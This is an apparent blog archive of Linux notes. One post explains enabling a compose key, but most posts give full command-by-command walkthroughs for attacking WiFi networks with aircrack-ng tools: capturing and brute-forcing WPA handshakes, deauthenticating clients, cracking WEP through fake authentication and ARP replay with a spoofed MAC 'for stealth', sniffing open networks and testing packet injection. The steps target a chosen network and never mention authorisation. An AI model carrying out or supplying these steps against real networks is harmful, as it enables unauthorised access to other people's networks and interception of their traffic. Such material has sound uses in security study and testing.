Category Archives: Linux General

Notes which apply to all flavours of Linux systems

Enabling compose key to type unicode on Linux

The compose key may be used to type unicode characters easily on Linux systems…

All of these commands should be executed as a normal user, no root access required:

  1. Identify the key you want to use as your compose key, I use the ‘Windows’ key:
    • Run the application xev
    • Press the key you want to use as your compose key
    • Note down the keycode value (my Windows key identifies as keycode=133)
  2. Edit the file ~/.Xmodmap and insert the line
    keycode 133 = Multi_key
  3. Run xmodmap ~/.Xmodmap

Restart X and you will be able to use unicode:
<Compose key> + " + u = ü
<Compose key> + ' + e = é
<Compose key> + o + r = ®
<Compose key> + - + y = ¥
and many more…

(Tested and in current use on Debian Wheezy)

Brute Forcing WPA WiFi Encryption

WPA and WPA2 provide good WiFi security which is mainly susceptible to brute force attacks. Here is how such a brute force attack may be carried out.
Using Debian Wheezy (testing) and an Intel Corporation Centrino Wireless-N 1000 card:

  1. Stop Network Manager: /etc/init.d/network-manager stop
  2. Enter monitor mode: airmon-ng start wlan0
  3. Find nearby networks: airodump-ng mon0
  4. Identify the target BSSID and Channel number (-c option below)
  5. Start packet capture and leave running: airodump-ng -c 6 –bssid 00:11:22:33:44:55 -w capturefile mon0
  6. Leave packet capture running until “WPA Handshake” is seen (displayed in the top-right of airodump-ng
  7. Or attempt to force a WPA Handshake by deauthenticating a client station: aireplay --deauth 1 -a 00:11:22:33:44:55 -c 55:55:55:55:55:55 --ignore-negative-one mon0 (where -c is the MAC address of one of the stations displayed in airodump-ng)
  8. Apply brute force: aircrack-ng -w password.lst capturefile.cap
  9. The password.lst is included in the ‘test/’ directory of the aircrack-ng source. Many others are available for download
  10. Stop monitor mode: airmon-ng stop mon0

Breaking WEP Encryption

Using Debian Wheezy (testing) with a Intel Corporation Centrino Wireless-N 1000 card…

    1. Stop network manager: /etc/init.d/network-manager stop
    2. Enter monitor mode: airmon-ng start wlan0
    3. Find nearby networks: airodump-ng mon0
    4. Identify the target BSSID, SSID and Channel number (-c option below)
    5. Start packet capture and leave running: airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w capturefile mon0
    6. Run the following two commands at the same time in separate windows (-h changes our source address, to add some stealth)
      1. aireplay-ng --fakeauth 40 -a 00:11:22:33:44:55 -h 01:12:34:56:67:89 --ignore-negative-one mon0
      2. aireplay-ng --arpreplay -x 20 -b 00:11:22:33:44:55 -h 01:12:34:56:67:89 --ignore-negative-one -e SSID mon0
      3. when this sees an ARP packet, it will go like crazy injecting packets and you will see the "#Data" rapidly increasing in the airodump-ng window
    7. After collecting 30,000 packets (you may leave airodump-ng running): aircrack-ng -1 capturefile.cap
    8. The WEP key should then be displayed in the terminal window.
    9. The collected packet trace may be decrypted with: airdecap-ng -w $wep_key_hex capturefile.cap
    10. Exit monitor mode: airmon-ng stop mon0

Open Wireless Network Packet Sniffing

This is easier and more effective than packet sniffing on a wired network:

  1. Stop Network Manager: /etc/init.d/network-manager stop
  2. Set your WiFi card into monitoring mode: airmon-ng start wlan0
  3. See what’s around: airodump-ng mon0
  4. Select a target network, and note the BSSID value and channel (used as ‘-c‘ option below)
  5. Collect the packet trace: airodump-ng -c 6 --bssid 00:12:34:56:78:90 -w output-file mon0
  6. Examine packet trace: wireshare output-file.cap

(run on Debian Wheezy [testing] using Intel Corporation Centrino Wireless-N 1000)

WiFi Card – Packet Injection in Linux

Very simple way to test if your WiFi card supports injection:

Stop Network Manager: /etc/init.d/network-manager stop
Put the card in monitor mode: airmod-ng start wlan0
Test using: aireplay-ng -9 mon0

With luck, the following output is displayed:
Trying broadcast probe requests…
Injection is working!

I am using Debian Wheezy (testing) with WiFi card:
Network controller: Intel Corporation Centrino Wireless-N 1000